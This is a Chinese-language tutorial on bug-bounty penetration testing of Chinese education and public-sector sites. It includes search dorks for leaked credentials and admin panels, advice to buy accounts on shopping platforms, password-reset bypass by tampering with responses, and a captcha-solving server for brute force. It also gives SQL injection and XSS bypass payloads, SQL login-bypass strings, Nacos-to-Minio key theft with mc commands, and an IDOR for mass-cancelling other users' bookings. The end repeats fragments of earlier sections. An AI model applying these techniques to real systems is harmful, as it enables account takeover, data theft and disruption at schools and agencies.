从脆弱资产收集到SRC通杀案例技术教学文档<\/h1>

0x1 前言<\/h2>
本文从脆弱资产的视角介绍信息收集的思路和方法，重点以EDUSRC资产收集姿势进行分享。同时涵盖人社和中国科学院相关漏洞收集方法、EDU平台收录规则，以及通过语雀公开知识库收集操作手册和账户密码泄露等技巧。后续通过企业SRC的SQL排序注入和云安全Minio渗透测试实战案例，以及EDUSRC通杀漏洞进行详细技术分析。<\/p>

0x2 脆弱资产收集<\/h2>

一、通过搜索引擎搜索关键字<\/h3>

1. EDU资产收集<\/h4>

核心搜索语法：<\/strong><\/p>

site:edu.cn intext:操作手册|使用手册|操作视频|使用视频|演示视频|白皮书
<\/span><\/span><\/code><\/pre>利用价值：<\/strong><\/p>

操作手册常包含测试账号和密码<\/li>
系统未及时删除测试账号导致漏洞<\/li>
EDU常用默认密码：111111、000000、123123、123456、654321、666666、身份证后六位<\/li>
<\/ul>
2. 人社关键字收集<\/h4>
部门范围：<\/strong><\/p>

人力资源与社会保障部\/厅\/局（简称人社部\/厅\/局）<\/li>
管理的学校：技工学校、技师学院<\/li>
确认方法：搜索"学校名称 隶属于"<\/li>
<\/ul>
微信小程序测试关键字：<\/strong><\/p>
就业训练、劳动就业服务管理中心、高级技工学校、信息采集、人才培养
劳动保障、社会保险、劳动维权、职业介绍、公共就业、创业、人事
仲裁、社会保险、劳动就业服务局、社会保障中心、城乡居民养老保险中心
人才交流开发中心、劳动监察大队、职业技能鉴定中心、机关服务中心
创业担保贷款基金管理中心、创业指导中心、乡镇劳动就业社会保障服务中心
信息和考试中心
<\/code><\/pre>
3. 中国科学院关键字<\/h4>
目标域名：<\/strong> ac.cn和cas.cn

搜索语法：<\/strong><\/p>
site:ac.cn intext:管理|后台|登陆|用户名|密码|系统|帐号|操作手册|使用手册|操作视频|使用视频|演示视频|白皮书
<\/span><\/span>site:cas.cn intext:管理|后台|登陆|用户名|密码|系统|帐号|操作手册|使用手册|操作视频|使用视频|演示视频|白皮书
<\/span><\/span><\/code><\/pre>二、语雀公开知识库搜索<\/h3>
搜索关键字：<\/strong> 操作手册\/使用手册\/操作视频\/使用视频\/演示视频\/白皮书<\/p>
三、SRC资产收集技术<\/h3>
1. Google黑客语法大全<\/h4>
注入漏洞检测：<\/strong><\/p>
site:edu.cn inurl:id|aspx|jsp|php|asp
<\/span><\/span><\/code><\/pre>文件上传漏洞：<\/strong><\/p>
site:edu.cn inurl:file|load|editor|Files
<\/span><\/span><\/code><\/pre>后台登录入口：<\/strong><\/p>
site:edu.cn intext:管理|后台|登陆|用户名|密码|验证码|系统|帐号|手册|admin|login|sys|managetem|password|username
<\/span><\/span>site:edu.cn inurl:login|admin|manage|manager|admin_login|login_admin|system|boss|master
<\/span><\/span><\/code><\/pre>敏感信息搜索：<\/strong><\/p>
site:edu.cn (<\/span> "默认密码"<\/span> OR "学号"<\/span> OR "工号"<\/span>)<\/span>
<\/span><\/span>site:edu.cn "账号、密码、学号"<\/span>&"附件"<\/span>
<\/span><\/span><\/code><\/pre>后台接口探测：<\/strong><\/p>
site:edu.cn (<\/span>inurl:login OR inurl:admin OR inurl:index OR inurl:登录)<\/span> OR (<\/span>inurl:config | inurl:env | inurl:setting | inurl:backup | inurl:admin | inurl:php)<\/span>
<\/span><\/span><\/code><\/pre>特殊文件查找：<\/strong><\/p>
site:edu.cn filetype:txt OR filetype:xls OR filetype:xlsx OR filetype:doc OR filetype:docx OR filetype:pdf
<\/span><\/span><\/code><\/pre>漏洞倾向参数分类：<\/strong><\/p>

XSS参数：inurl:q= | inurl:s= | inurl:search= | inurl:query= | inurl:keyword= | inurl:lang=<\/code><\/li>
重定向参数：inurl:url= | inurl:return= | inurl:next= | inurl:redirect= | inurl:redir=<\/code><\/li>
SQL注入参数：inurl:id= | inurl:pid= | inurl:category= | inurl:cat= | inurl:action= | inurl:sid=<\/code><\/li>
SSRF参数：inurl:http | inurl:url= | inurl:path= | inurl:dest= | inurl:html= | inurl:data=<\/code><\/li>
LFI参数：inurl:include | inurl:dir | inurl:detail= | inurl:file= | inurl:folder=<\/code><\/li>
RCE参数：inurl:cmd | inurl:exec= | inurl:query= | inurl:code= | inurl:do=<\/code><\/li>
<\/ul>
FOFA资产收集语法：<\/strong><\/p>
org=<\/span>"China Education and Research Network Center"<\/span> &&(<\/span>"后台"<\/span>||<\/span>"登录"<\/span>)&&(<\/span>"中学"<\/span>||<\/span>"技术学院"<\/span>||<\/span>"小学"<\/span>||<\/span>"职业学院"<\/span>||<\/span>"中专"<\/span>||<\/span>"幼儿园"<\/span>||<\/span>"人社局"<\/span>||<\/span>"科学院"<\/span>)<\/span>
<\/span><\/span><\/code><\/pre>2. 自动化工具使用<\/h4>
在线平台：<\/strong> https:\/\/app.pentest-tools.com\/scans\/new-scan<\/p>

免费子域名挖掘功能<\/li>
Google黑客图形化界面<\/li>
配置文件信息自动查询<\/li>
<\/ul>
0x3 统一身份认证绕过技术<\/h2>
一、GitHub信息收集<\/h3>
搜索技巧：<\/strong><\/p>

选择代码(Code)标签页<\/li>
按语言筛选：JavaScript和Python为主<\/li>
查找账号密码泄露<\/li>
<\/ul>
二、第三方平台账号获取<\/h3>
渠道：<\/strong> 某宝、某鱼、pdd平台搜索"高校图书馆"<\/p>
三、实战案例：身份认证绕过<\/h3>
攻击流程：<\/strong><\/p>

通过操作手册获取管理员账号(xxadmin)<\/li>
尝试密码与账号相同成功登录<\/li>
收集学号\/工号和身份证信息<\/li>
访问统一身份认证后台<\/li>
点击忘记密码功能<\/li>
绕过手机验证码验证<\/li>
<\/ol>
绕过技术：<\/strong><\/p>

拦截返回包修改statusCode为200<\/li>
修改false为true实现前端校验绕过<\/li>
<\/ul>
四、密保问题绕过<\/h3>
常见弱密保：<\/strong><\/p>

学号作为密保答案 - 通过奖学金名单获取<\/li>
幸运数字 - 通常为0-10，可爆破尝试<\/li>
<\/ol>
五、统一身份认证逻辑缺陷通杀<\/h3>
利用条件：<\/strong> 姓名、学号、身份证信息

漏洞特征：<\/strong> 基础信息验证后直接重置密码，JS分析显示通杀特性<\/p>
0x4 业务安全漏洞-登录认证实战<\/h2>
验证码绕过技术<\/h3>
工具准备：<\/strong><\/p>

ddddocr库自动识别验证码<\/li>
Python脚本搭建识别服务<\/li>
<\/ul>
识别脚本：<\/strong><\/p>
# -*- coding:utf-8 -*-<\/span>
<\/span><\/span>import<\/span> ddddocr
<\/span><\/span>from<\/span> aiohttp import<\/span> web
<\/span><\/span>import<\/span> base64
<\/span><\/span>
<\/span><\/span>ocr =<\/span> ddddocr.<\/span>DdddOcr()
<\/span><\/span>auth_base64 =<\/span> "f0ngauth"<\/span>
<\/span><\/span>
<\/span><\/span>async<\/span> def<\/span> handle_cb<\/span>(request):
<\/span><\/span>    if<\/span> request.<\/span>headers.<\/span>get('Authorization'<\/span>) !=<\/span> 'Basic '<\/span> +<\/span> auth_base64:
<\/span><\/span>        return<\/span> web.<\/span>Response(text=<\/span>'Forbidden'<\/span>, status=<\/span>'403'<\/span>)
<\/span><\/span>    
<\/span><\/span>    img_base64 =<\/span> await<\/span> request.<\/span>text()
<\/span><\/span>    img_bytes =<\/span> base64.<\/span>b64decode(img_base64)
<\/span><\/span>    return<\/span> web.<\/span>Response(text=<\/span>ocr.<\/span>classification(img_bytes)[0<\/span>:4<\/span>])
<\/span><\/span>
<\/span><\/span>app =<\/span> web.<\/span>Application()
<\/span><\/span>app.<\/span>add_routes([web.<\/span>post('\/reg'<\/span>, handle_cb)])
<\/span><\/span>
<\/span><\/span>if<\/span> __name__ ==<\/span> '__main__'<\/span>:
<\/span><\/span>    web.<\/span>run_app(app, port=<\/span>8888<\/span>)
<\/span><\/span><\/code><\/pre>BurpSuite配置：<\/strong><\/p>

抓取验证码图片数据包<\/li>
使用ddddocr插件模板<\/li>
设置爆破模式为Pitchfork<\/li>
调整延迟避免触发防护<\/li>
<\/ol>
0x5 企业SRC SQL排序注入<\/h2>
技术原理<\/h3>

利用ORDER BY语句的排序功能<\/li>
可控参数：desc\/asc排序方向<\/li>
SQL语句示例：SELECT * FROM users ORDER BY 1 desc\/asc<\/code><\/li>
<\/ul>
检测方法<\/h3>
注入判断payload：<\/strong><\/p>
,1
,0  
,sleep(5)
,exp(999)
,exp(222)
<\/code><\/pre>
实战案例<\/h3>
利用payload：<\/strong><\/p>
updatexml(1<\/span>,concat(0<\/span>x7e,(version<\/span>()),0<\/span>x7e),1<\/span>)
<\/span><\/span>extractvalue(1<\/span>, concat(0<\/span>x7e, user<\/span>(), 0<\/span>x7e))
<\/span><\/span>updatexml(1<\/span>, concat(0<\/span>x7c, @@<\/span>datadir, 0<\/span>x7c), 1<\/span>)
<\/span><\/span>extractvalue(1<\/span>, concat(0<\/span>x2a, @@<\/span>version<\/span>, 0<\/span>x2a))
<\/span><\/span><\/code><\/pre>0x6 云安全Minio渗透测试<\/h2>
一、Minio简介<\/h3>

开源对象存储系统，兼容AWS S3协议<\/li>
默认端口9000<\/li>
集群模式可能泄露MINIO_SECRET_KEY和MINIO_ROOT_PASSWORD<\/li>
<\/ul>
二、渗透测试流程<\/h3>
入口点：<\/strong> Nacos目录泄露

攻击步骤：<\/strong><\/p>

尝试弱口令：admin\/123456、nacos\/nacos<\/li>
使用nacos权限绕过工具添加用户<\/li>
登录Nacos查看yml配置文件<\/li>
获取Minio的access-key和secret-key<\/li>
直接登录Minio管理界面<\/li>
<\/ol>
三、mc工具连接Minio<\/h3>
下载安装：<\/strong><\/p>
wget https:\/\/dl.minio.org.cn\/client\/mc\/release\/linux-amd64\/mc
<\/span><\/span>chmod +x .\/mc
<\/span><\/span><\/code><\/pre>连接命令：<\/strong><\/p>
.\/mc alias set myminio minio_address access-key secret-key
<\/span><\/span><\/code><\/pre>文件操作：<\/strong><\/p>
.\/mc cp file.txt myminio\/bucket\/    # 上传<\/span>
<\/span><\/span>.\/mc ls myminio\/bucket\/            # 列表  <\/span>
<\/span><\/span>.\/mc rm myminio\/bucket\/file.txt    # 删除<\/span>
<\/span><\/span><\/code><\/pre>0x7 图书馆通杀漏洞案例<\/h2>
一、XSS漏洞绕过技巧<\/h3>
初级测试payload：<\/strong><\/p>
<s<\/span>>test<s<\/span>>
<\/span><\/span><h1<\/span>>test<\/h1<\/span>>
<\/span><\/span><\/code><\/pre>标签闭合绕过：<\/strong><\/p>
<\/tExtArEa<\/span>><h1<\/span>>123<\/h1<\/span>>#
<\/span><\/span><\/tExtArEa<\/span>><s<\/span>>123#\/\/--+
<\/span><\/span>'"><\/tExtArEa<\/span>><s<\/span>>123#\/\/--+
<\/span><\/span><\/code><\/pre>高级绕过方法：<\/strong><\/p>

大小写绕过：<Script>alert(1);<\/Script><\/code><\/li>
双写绕过：<scrscriptipt>alert(1);<\/scrscriptipt><\/code><\/li>
关键字替换：用confirm、prompt代替alert<\/li>
符号绕过：使用反引号代替单引号，%0a代替空格<\/li>
<\/ol>
二、越权漏洞实战<\/h3>
攻击流程：<\/strong><\/p>

发现图书馆预约系统<\/li>
尝试弱口令和万能密码未果<\/li>
找到忘记密码功能<\/li>
使用公开的学号姓名信息<\/li>
输入自有手机号重置密码<\/li>
登录系统发现越权漏洞<\/li>
<\/ol>
万能密码payload：<\/strong><\/p>
admin'#
admin'or 1=1--
admin'or' 1=1--
admin"or 1=1--
admin'or''='
<\/code><\/pre>
越权利用：<\/strong><\/p>

账号A取消预约数据包复用<\/li>
修改id参数取消他人预约<\/li>
批量爆破id实现大规模取消<\/li>
<\/ul>
0x8 技术总结<\/h2>
本文系统性地介绍了从信息收集到漏洞利用的完整链条，重点强调了脆弱资产收集的重要性。通过多维度搜索技巧、身份认证绕过、业务逻辑漏洞挖掘等实战案例，展现了现代渗透测试的技术深度。建议结合实际环境进行练习，将理论知识转化为实战能力。<\/p>

从脆弱资产收集到SRC通杀案例技术教学文档<\/h1>

0x2 脆弱资产收集<\/h2>

一、通过搜索引擎搜索关键字<\/h3>

二、语雀公开知识库搜索<\/h3> 搜索关键字：<\/strong> 操作手册\/使用手册\/操作视频\/使用视频\/演示视频\/白皮书<\/p>

0x3 统一身份认证绕过技术<\/h2>

二、第三方平台账号获取<\/h3> 渠道：<\/strong> 某宝、某鱼、pdd平台搜索"高校图书馆"<\/p>

五、统一身份认证逻辑缺陷通杀<\/h3> 利用条件：<\/strong> 姓名、学号、身份证信息 漏洞特征：<\/strong> 基础信息验证后直接重置密码，JS分析显示通杀特性<\/p>

0x5 企业SRC SQL排序注入<\/h2>

0x6 云安全Minio渗透测试<\/h2>

0x7 图书馆通杀漏洞案例<\/h2>

二、语雀公开知识库搜索<\/h3>
搜索关键字：<\/strong> 操作手册\/使用手册\/操作视频\/使用视频\/演示视频\/白皮书<\/p>

二、第三方平台账号获取<\/h3>
渠道：<\/strong> 某宝、某鱼、pdd平台搜索"高校图书馆"<\/p>

五、统一身份认证逻辑缺陷通杀<\/h3>
利用条件：<\/strong> 姓名、学号、身份证信息
漏洞特征：<\/strong> 基础信息验证后直接重置密码，JS分析显示通杀特性<\/p>